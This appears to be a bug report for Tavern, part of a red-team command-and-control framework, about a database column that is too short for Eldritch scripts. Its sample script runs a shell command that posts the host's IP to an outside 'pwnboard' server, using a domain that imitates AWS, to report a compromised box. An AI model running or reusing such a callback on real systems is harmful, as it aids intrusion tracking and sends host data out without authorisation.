[bug][Tavern] Eldritch Length Limit

[KCarretto]

Make sure eldritch length can be big

Error
"message": "Error 1406: Data too long for column 'eldritch' at row 1"

Tome

file.append('/tmp/pwn', 'ip=$(hostname -I | awk \"{print $1}\"); curl -X POST -H \\'Content-Type: application/json\\' https://pwnboard.aws-metadata.com/pwn/boxaccess -d \\'{\"ip\":\"$ip\",\"type\":\"imix\"}\\'')\ncmd = file.read('/tmp/pwn')\noutput = sys.shell(cmd)\ncmd+output```